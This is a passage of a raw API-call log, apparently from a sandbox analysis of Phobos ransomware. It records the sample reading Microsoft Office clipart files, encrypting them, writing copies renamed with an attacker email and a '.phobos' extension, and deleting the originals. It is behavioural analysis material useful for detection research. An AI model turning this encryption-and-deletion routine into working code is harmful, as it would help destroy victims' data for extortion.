lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0137.667] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0137.667] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0137.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0137.668] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752ad8) returned 1 [0137.668] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0137.668] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1b08, lpOverlapped=0x0) returned 1 [0138.229] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1b10) returned 1 [0138.229] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1b10, lpOverlapped=0x0) returned 1 [0138.230] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752fd8) returned 1 [0138.230] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0138.230] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0138.230] CryptDestroyKey (hKey=0x752fd8) returned 1 [0138.230] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0138.230] CryptDestroyKey (hKey=0x752ad8) returned 1 [0138.230] CloseHandle (hObject=0x30c) returned 1 [0138.230] CloseHandle (hObject=0x2f8) returned 1 [0138.230] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0138.231] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0138.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0138.231] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2944) returned 1 [0138.231] CloseHandle (hObject=0x2f8) returned 1 [0138.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220 [0138.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0138.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0138.232] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0138.232] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0138.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0138.232] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e98) returned 1 [0138.232] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0138.232] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xb80, lpOverlapped=0x0) returned 1 [0138.292] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xb90, dwBufLen=0xb90 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xb90) returned 1 [0138.292] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xb90, lpOverlapped=0x0) returned 1 [0138.293] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752ed8) returned 1 [0138.293] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0138.293] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0138.293] CryptDestroyKey (hKey=0x752ed8) returned 1 [0138.293] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0138.293] CryptDestroyKey (hKey=0x752e98) returned 1 [0138.293] CloseHandle (hObject=0x2f8) returned 1 [0138.293] CloseHandle (hObject=0x30c) returned 1 [0138.293] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0138.294] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0138.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0138.295] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1220) returned 1 [0138.295] CloseHandle (hObject=0x30c) returned 1 [0138.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220 [0138.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0138.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0138.295] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0138.295] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0138.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0138.296] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752a98) returned 1 [0138.296] CryptSetKeyParam (hKey=0x752a98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0138.296] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x4c4, lpOverlapped=0x0) returned 1 [0138.312] CryptEncrypt (in: hKey=0x752a98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x4d0) returned 1 [0138.312] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x4d0, lpOverlapped=0x0) returned 1 [0138.313] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753198) returned 1 [0138.313] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0138.313] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0138.313] CryptDestroyKey (hKey=0x753198) returned 1 [0138.313] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0138.313] CryptDestroyKey (hKey=0x752a98) returned 1 [0138.313] CloseHandle (hObject=0x30c) returned 1 [0138.313] CloseHandle (hObject=0x2f8) returned 1 [0138.313] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0138.314] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0138.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0138.314] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=9734) returned 1 [0138.314] CloseHandle (hObject=0x2f8) returned 1 [0138.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220 [0138.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0138.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0138.315] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0138.315] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0138.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0138.315] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752ed8) returned 1 [0138.315] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0138.315] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x2606, lpOverlapped=0x0) returned 1 [0138.373] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2610, dwBufLen=0x2610 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2610) returned 1 [0138.373] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x2610, lpOverlapped=0x0) returned 1 [0138.374] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752cd8) returned 1 [0138.374] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0138.374] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0138.374] CryptDestroyKey (hKey=0x752cd8) returned 1 [0138.374] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0138.374] CryptDestroyKey (hKey=0x752ed8) returned 1 [0138.374] CloseHandle (hObject=0x2f8) returned 1 [0138.374] CloseHandle (hObject=0x30c) returned 1 [0138.374] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0138.375] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0138.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0138.375] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=9596) returned 1 [0138.375] CloseHandle (hObject=0x30c) returned 1 [0138.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220 [0138.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0138.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0138.376] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0138.376] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0138.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0138.378] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752d18) returned 1 [0138.378] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0138.378] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x257c, lpOverlapped=0x0) returned 1 [0139.192] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2580, dwBufLen=0x2580 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2580) returned 1 [0139.192] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x2580, lpOverlapped=0x0) returned 1 [0139.193] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x7530d8) returned 1 [0139.193] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.193] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.193] CryptDestroyKey (hKey=0x7530d8) returned 1 [0139.193] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.194] CryptDestroyKey (hKey=0x752d18) returned 1 [0139.194] CloseHandle (hObject=0x30c) returned 1 [0139.194] CloseHandle (hObject=0x2f8) returned 1 [0139.194] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0139.195] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.195] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=21782) returned 1 [0139.195] CloseHandle (hObject=0x2f8) returned 1 [0139.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220 [0139.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.195] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.195] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.196] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752f18) returned 1 [0139.196] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.196] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x5516, lpOverlapped=0x0) returned 1 [0139.247] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x5520, dwBufLen=0x5520 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x5520) returned 1 [0139.247] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x5520, lpOverlapped=0x0) returned 1 [0139.248] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d18) returned 1 [0139.248] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.248] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.248] CryptDestroyKey (hKey=0x752d18) returned 1 [0139.248] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, 